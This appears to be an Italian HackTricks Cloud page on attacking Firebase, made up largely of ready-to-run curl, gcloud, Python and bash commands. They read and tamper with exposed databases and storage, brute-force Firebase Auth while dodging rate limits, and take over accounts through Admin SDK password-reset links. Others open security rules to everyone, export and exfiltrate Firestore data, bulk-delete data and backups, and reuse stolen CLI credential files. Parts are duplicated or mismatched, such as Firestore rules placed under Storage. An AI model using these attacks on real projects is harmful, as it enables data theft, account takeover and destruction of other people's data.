GCP - Firebase Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.

Firebase

Accesso non autenticato a Firebase Realtime Database

Un attaccante non ha bisogno di permessi specifici su Firebase per eseguire questo attacco. È sufficiente che ci sia una configurazione vulnerabile nelle regole di sicurezza di Firebase Realtime Database, dove le regole sono impostate con .read: true o .write: true, permettendo accesso pubblico in lettura o scrittura.

L’attaccante deve identificare l’URL del database, che solitamente ha il formato: https://<project-id>.firebaseio.com/.

Questa URL può essere trovata tramite reverse engineering di applicazioni mobili (decompilazione degli APK Android o analisi delle app iOS), analizzando file di configurazione come google-services.json (Android) o GoogleService-Info.plist (iOS), ispezionando il codice sorgente di applicazioni web, o esaminando il traffico di rete per identificare richieste verso domini *.firebaseio.com.

L’attaccante individua l’URL del database e verifica se è esposto pubblicamente, quindi accede ai dati e potenzialmente scrive informazioni dannose.

Per prima cosa, verificano se il database consente l’accesso in lettura aggiungendo .json all’URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Se la risposta contiene dati JSON o null (invece di “Permission Denied”), il database consente l’accesso in lettura. Per verificare l’accesso in scrittura, l’attaccante può tentare di inviare una richiesta di scrittura di prova usando la Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Se l’operazione ha successo, il database consente anche l’accesso in scrittura.

Esposizione dei dati in Cloud Firestore

Un attaccante non ha bisogno di permessi Firebase specifici per eseguire questo attacco. Richiede solo che ci sia una configurazione vulnerabile nelle regole di sicurezza di Cloud Firestore in cui le regole consentono accesso in lettura o scrittura senza autenticazione o con validazione insufficiente. Un esempio di regola mal configurata che concede accesso completo è:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Questa regola permette a chiunque di leggere e scrivere tutti i documenti senza alcuna restrizione. Le regole di Firestore sono granulari e si applicano per collection e document, quindi un errore in una regola specifica può esporre solo certe collection.

L’attaccante deve identificare il Firebase Project ID, che può essere trovato tramite reverse engineering dell’app mobile, analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezione del codice sorgente di applicazioni web, o analisi del traffico di rete per identificare richieste a firestore.googleapis.com. La Firestore REST API usa il formato:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Se le regole permettono l’accesso di lettura non autenticato, l’attaccante può leggere collezioni e documenti. Per prima cosa, tenta di accedere a una specifica collezione:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Se la risposta contiene documenti JSON invece di un errore di autorizzazione, la collection è esposta. L’attaccante può enumerare tutte le collection accessibili provando nomi comuni o analizzando la struttura dell’applicazione. Per accedere a un documento specifico:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Se le regole consentono l’accesso in scrittura non autenticato o presentano una validazione insufficiente, l’attaccante può creare nuovi documenti:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Per modificare un documento esistente si deve utilizzare PATCH:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Per eliminare un documento e causare denial of service:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Esposizione di file in Firebase Storage

Un attacker non ha bisogno di permessi specifici di Firebase per eseguire questo attacco. È sufficiente che esista una configurazione vulnerabile nelle Firebase Storage security rules in cui le regole permettono accesso in read o write senza autenticazione o con validazione insufficiente. Le Storage rules controllano i permessi di read e write indipendentemente, quindi un errore in una regola può esporre solo l’accesso in read, solo l’accesso in write, o entrambi. Un esempio di regola mal configurata che concede full access è:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Questa regola consente l’accesso in lettura e scrittura a tutti i documenti senza alcuna restrizione. Le regole di Firestore sono granulari e vengono applicate per collezione e per documento, quindi un errore in una regola specifica può esporre solo determinate collezioni. L’attaccante deve identificare il Firebase Project ID, che può essere trovato tramite il reverse engineering dell’applicazione mobile, l’analisi di file di configurazione come google-services.json o GoogleService-Info.plist, l’ispezione del codice sorgente dell’applicazione web o l’analisi del traffico di rete per individuare richieste a firestore.googleapis.com. La Firestore REST API usa il formato: https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Se le regole permettono l’accesso in lettura senza autenticazione, l’attaccante può leggere collezioni e documenti. Per prima cosa tenta di accedere a una collezione specifica.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Se la risposta contiene l’elenco dei file invece di un errore di permessi, il file è esposto. L’attaccante può visualizzare il contenuto dei file specificandone il percorso:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Se le regole consentono unauthenticated write access o presentano una validazione insufficiente, l’attacker può upload malicious files. Per upload di un file tramite la REST API:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

L’attaccante può caricare code shells, malware payloads o file di grandi dimensioni per causare un denial of service. Se l’applicazione elabora o esegue i file caricati, l’attaccante può ottenere remote code execution. Per cancellare file e causare un denial of service:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Invocazione di Firebase Cloud Functions pubbliche

Un attaccante non ha bisogno di permessi Firebase specifici per sfruttare questo problema; è sufficiente che una Cloud Function sia accessibile pubblicamente via HTTP senza autenticazione.

Una funzione è vulnerabile quando è configurata in modo insicuro:

• Usa functions.https.onRequest, che non applica l’autenticazione (a differenza delle funzioni onCall).
• Il codice della funzione non valida l’autenticazione dell’utente (es. nessun controllo su request.auth o context.auth).
• La funzione è pubblicamente accessibile in IAM, ovvero allUsers ha il ruolo roles/cloudfunctions.invoker. Questo è il comportamento predefinito per le funzioni HTTP a meno che lo sviluppatore non restringa l’accesso.

Le Firebase HTTP Cloud Functions vengono esposte tramite URL come:

• https://<region>-<project-id>.cloudfunctions.net/<function-name>
• https://<project-id>.web.app/<function-name> (quando integrate con Firebase Hosting)

Un attaccante può scoprire questi URL tramite analisi del codice sorgente, ispezione del traffico di rete, strumenti di enumerazione o reverse engineering di app mobile. Se la funzione è esposta pubblicamente e senza autenticazione, l’attaccante può invocarla direttamente senza credenziali.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

Se la funzione non valida correttamente gli input, l’attaccante può tentare altri attacchi come code injection o command injection.

Brute-force attack contro Firebase Authentication con una politica di password debole

Un attaccante non ha bisogno di permessi specifici su Firebase per eseguire questo attacco. Richiede solamente che la Firebase API Key sia esposta in applicazioni mobile o web, e che la password policy non sia stata configurata con requisiti più stringenti rispetto ai valori di default.

L’attaccante deve identificare la Firebase API Key, che può essere trovata tramite mobile app reverse engineering, analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezione del codice sorgente di applicazioni web (es. in bootstrap.js), o analizzando il traffico di rete.

La REST API di Firebase Authentication utilizza l’endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> per autenticare con email e password.

Se Email Enumeration Protection è disabilitato, le risposte di errore dell’API possono rivelare se un’email esiste nel sistema (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), il che permette agli attacker di enumerate users prima di tentare il password guessing. Quando questa protection è abilitata, l’API restituisce lo stesso messaggio di errore sia per email inesistenti sia per password errate, impedendo la user enumeration.

È importante notare che Firebase Authentication applica rate limiting, che può bloccare le richieste se si verificano troppi tentativi di autenticazione in un breve periodo. Per questo motivo, un attaccante dovrebbe introdurre dei ritardi tra i tentativi per evitare di essere rate-limited.

L’attaccante identifica la API Key ed effettua tentativi di autenticazione con più password contro account noti. Se Email Enumeration Protection è disabilitato, l’attaccante può enumerate existing users analizzando le risposte di errore:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Se la risposta contiene EMAIL_NOT_FOUND, l’email non esiste nel sistema. Se contiene INVALID_PASSWORD, l’email esiste ma la password è errata, confermando che l’utente è registrato. Una volta identificato un utente valido, l’attaccante può eseguire tentativi di brute-force. È importante inserire delle pause tra i tentativi per evitare i meccanismi di rate-limiting di Firebase Authentication:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

Con la policy di password predefinita (minimo 6 caratteri, senza requisiti di complessità), l’attaccante può provare tutte le possibili combinazioni di password di 6 caratteri, il che rappresenta uno spazio di ricerca relativamente piccolo rispetto a policy di password più severe.

Gestione utenti in Firebase Authentication

L’attaccante necessita di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono:

• firebaseauth.users.create per creare utenti
• firebaseauth.users.update per modificare utenti esistenti
• firebaseauth.users.delete per eliminare utenti
• firebaseauth.users.get per recuperare informazioni sugli utenti
• firebaseauth.users.sendEmail per inviare email agli utenti
• firebaseauth.users.createSession per creare sessioni utente

Questi permessi sono inclusi nel ruolo roles/firebaseauth.admin, che concede accesso in lettura/scrittura completo alle risorse di Firebase Authentication. Sono inoltre inclusi in ruoli di livello superiore come roles/firebase.developAdmin (che include tutti i permessi firebaseauth.*) e roles/firebase.admin (accesso completo a tutti i servizi Firebase).

Per usare il Firebase Admin SDK, l’attaccante avrebbe bisogno dell’accesso alle credenziali del service account (file JSON), che potrebbero essere reperite su sistemi compromessi, repository di codice esposti pubblicamente, sistemi CI/CD compromessi o tramite la compromissione di account sviluppatore che hanno accesso a queste credenziali.

Il primo passo è configurare il Firebase Admin SDK usando le credenziali del service account.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Per creare un utente malevolo utilizzando l’email di una vittima, l’attaccante cercherebbe di usare il Firebase Admin SDK per generare un nuovo account con quell’email.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Per modificare un utente esistente, l’attaccante aggiornerebbe campi come l’indirizzo email, lo stato di verifica o se l’account è disabilitato.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Per eliminare un account utente e causare un denial of service, l’attaccante invierebbe una richiesta per rimuovere completamente l’utente.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

L’attaccante può anche ottenere informazioni sugli utenti esistenti richiedendo il loro UID o indirizzo email.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Inoltre, l’attacker potrebbe generare verification links o password-reset links per cambiare la password di un user e ottenere l’accesso al suo account.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Gestione degli utenti in Firebase Authentication

Un attaccante necessita di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono:

• firebaseauth.users.create to create users
• firebaseauth.users.update to modify existing users
• firebaseauth.users.delete to delete users
• firebaseauth.users.get to obtain user information
• firebaseauth.users.sendEmail to send emails to users
• firebaseauth.users.createSession to create user sessions

Questi permessi sono inclusi nel ruolo roles/firebaseauth.admin, che garantisce accesso completo in lettura/scrittura alle risorse di Firebase Authentication. Fanno anche parte di ruoli più alti come roles/firebase.developAdmin (che include tutti i permessi firebaseauth.*) e roles/firebase.admin (accesso completo a tutti i servizi Firebase).

Per usare il Firebase Admin SDK, l’attaccante avrebbe bisogno di accesso alle credenziali dell’account di servizio (un file JSON), che potrebbero essere ottenute da sistemi compromessi, repository di codice pubblicamente esposti, ambienti CI/CD compromessi, o tramite la compromissione di account di sviluppatori che hanno accesso a queste credenziali.

Il primo passo è configurare il Firebase Admin SDK usando le credenziali dell’account di servizio.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Per creare un account utente malevolo usando l’email della vittima, l’attaccante tenterebbe di creare un nuovo account con quell’email, assegnando una password controllata dall’attaccante e le informazioni del profilo.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Per modificare un utente esistente, l’attaccante cambierebbe campi come l’indirizzo email, lo stato di verifica o se l’account è disabilitato.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Per eliminare un account utente—causando di fatto un denial of service—l’attaccante invierebbe una richiesta per rimuovere definitivamente quell’utente.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

L’attaccante potrebbe anche recuperare informazioni sugli utenti esistenti, come il loro UID o email, richiedendo i dettagli dell’utente sia tramite UID che tramite indirizzo email.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Inoltre, l’attaccante potrebbe generare link di verifica o link per il password-reset, permettendogli di cambiare la password di un utente e prendere il controllo dell’account.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Modifica delle regole di sicurezza nei servizi Firebase

L’attaccante necessita di permessi specifici per modificare le regole di sicurezza a seconda del servizio. Per Cloud Firestore e Firebase Cloud Storage, i permessi richiesti sono firebaserules.rulesets.create per creare ruleset e firebaserules.releases.create per distribuire release. Questi permessi sono inclusi nel ruolo roles/firebaserules.admin o in ruoli di livello superiore come roles/firebase.developAdmin e roles/firebase.admin. Per Firebase Realtime Database, il permesso richiesto è firebasedatabase.instances.update.

L’attaccante deve usare la Firebase REST API per modificare le regole di sicurezza. Prima, l’attaccante dovrebbe ottenere un token di accesso usando le credenziali dell’account di servizio. Per ottenere il token:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Per modificare le regole di Firebase Realtime Database:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Per modificare le Cloud Firestore rules, l’attacker deve creare un ruleset e poi eseguire il deploy:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Il comando precedente restituisce un nome di ruleset nel formato projects//rulesets/. Per distribuire la nuova versione, la release deve essere aggiornata usando una richiesta PATCH:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Per modificare le regole di Firebase Cloud Storage:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Il comando precedente restituisce un nome di ruleset nel formato projects//rulesets/. Per distribuire la nuova versione, il rilascio deve essere aggiornato usando una richiesta PATCH:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Esfiltrazione e manipolazione dei dati in Cloud Firestore

Cloud Firestore usa la stessa infrastruttura e sistema di permessi di Cloud Datastore, quindi i permessi IAM di Datastore si applicano direttamente a Firestore. Per manipolare le TTL policy è richiesto il permesso datastore.indexes.update. Per esportare i dati è richiesto il permesso datastore.databases.export. Per importare i dati, è richiesto il permesso datastore.databases.import. Per eseguire la cancellazione di massa dei dati è richiesto il permesso datastore.databases.bulkDelete.

Per le operazioni di backup e restore sono necessari permessi specifici:

• datastore.backups.get e datastore.backups.list per elencare e recuperare i dettagli dei backup disponibili
• datastore.backups.delete per eliminare i backup
• datastore.backups.restoreDatabase per ripristinare un database da un backup
• datastore.backupSchedules.create e datastore.backupSchedules.delete per gestire le schedulazioni di backup

Quando viene creata una TTL policy, viene selezionata una proprietà designata per identificare le entità idonee alla cancellazione. Questa proprietà TTL deve essere di tipo Date and time. L’attaccante può scegliere una proprietà già esistente o designarne una che intende aggiungere in seguito. Se il valore del campo è una data nel passato, il documento diventa idoneo alla cancellazione immediata. L’attaccante può usare la gcloud CLI per manipolare le TTL policy.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Per esportare dati e esfiltrarli, l’attaccante potrebbe usare gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Per importare dati dannosi:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Per eseguire l’eliminazione massiva di dati e causare una denial of service, l’attaccante potrebbe usare lo strumento gcloud Firestore bulk-delete per rimuovere intere collections.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Per le operazioni di backup e ripristino, l’attaccante potrebbe creare backup pianificati per catturare lo stato attuale del database, elencare i backup esistenti, ripristinare da un backup per sovrascrivere le modifiche recenti, eliminare backup per causare perdita permanente di dati e rimuovere backup pianificati. Per creare una pianificazione di backup giornaliera che generi immediatamente un backup:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Per ripristinare da uno specifico backup, l’attaccante potrebbe creare un nuovo database usando i dati contenuti in quel backup. L’operazione di ripristino scrive i dati del backup in un nuovo database, il che significa che non si può usare un DATABASE_ID esistente.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Per eliminare un backup e causare la perdita permanente dei dati:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Furto e uso improprio delle credenziali Firebase CLI

Un attacker non necessita di permessi specifici su Firebase per eseguire questo attacco, ma deve avere accesso al sistema locale dello sviluppatore o al file delle credenziali di Firebase CLI. Queste credenziali sono memorizzate in un file JSON situato in:

• Linux/macOS: ~/.config/configstore/firebase-tools.json

• Windows: C:\Users[User].config\configstore\firebase-tools.json

Questo file contiene token di autenticazione, inclusi refresh_token e access_token, che permettono all’attacker di autenticarsi come l’utente che ha eseguito originariamente firebase login.

L’attacker ottiene l’accesso al file delle credenziali di Firebase CLI. Può quindi copiare l’intero file nel proprio sistema, e la Firebase CLI utilizzerà automaticamente le credenziali dalla sua posizione predefinita. Dopo averlo fatto, l’attacker può visualizzare tutti i progetti Firebase accessibili a quell’utente.

firebase projects:list

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.